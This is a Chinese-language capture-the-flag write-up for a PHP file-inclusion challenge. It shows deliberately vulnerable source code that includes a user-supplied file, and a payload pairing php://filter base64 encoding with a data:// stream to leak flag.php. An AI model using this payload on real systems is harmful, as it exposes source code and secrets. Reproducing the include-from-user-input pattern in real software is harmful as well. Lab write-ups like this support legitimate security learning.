题目
解题
题目源码
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
了解函数
empty()函数
isset()函数
empty() 与 isset() 函数比较
代码举例理解:
<?php
$var = 0;
// 因为 $var 为空,所以计算结果为 true
if (empty($var)) {
echo '$var is either 0, empty, or not set at all';
}
// 因为 $var 已赋值,所以计算结果为 true
if (isset($var)) {
echo '$var is set even though it is empty';
}
?>
结果会打印:
$var is either 0, empty, or not set at all
$var is set even though it is empty
file_get_contents函数
构造payload
分析代码可知,这里需要get传入两个的参数file1和file2
另外,flag应该在flag.php文件里面
然后这里的文件包含的file1是使用php伪函数进行传输的,file2使用的是data://text/plain进行传入的
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
输入值获取flag
得到是flag被base64加密的结果,使用进行base64解码:
cyberpeace{984931e0a9aabff15d5a197faa0c9aad}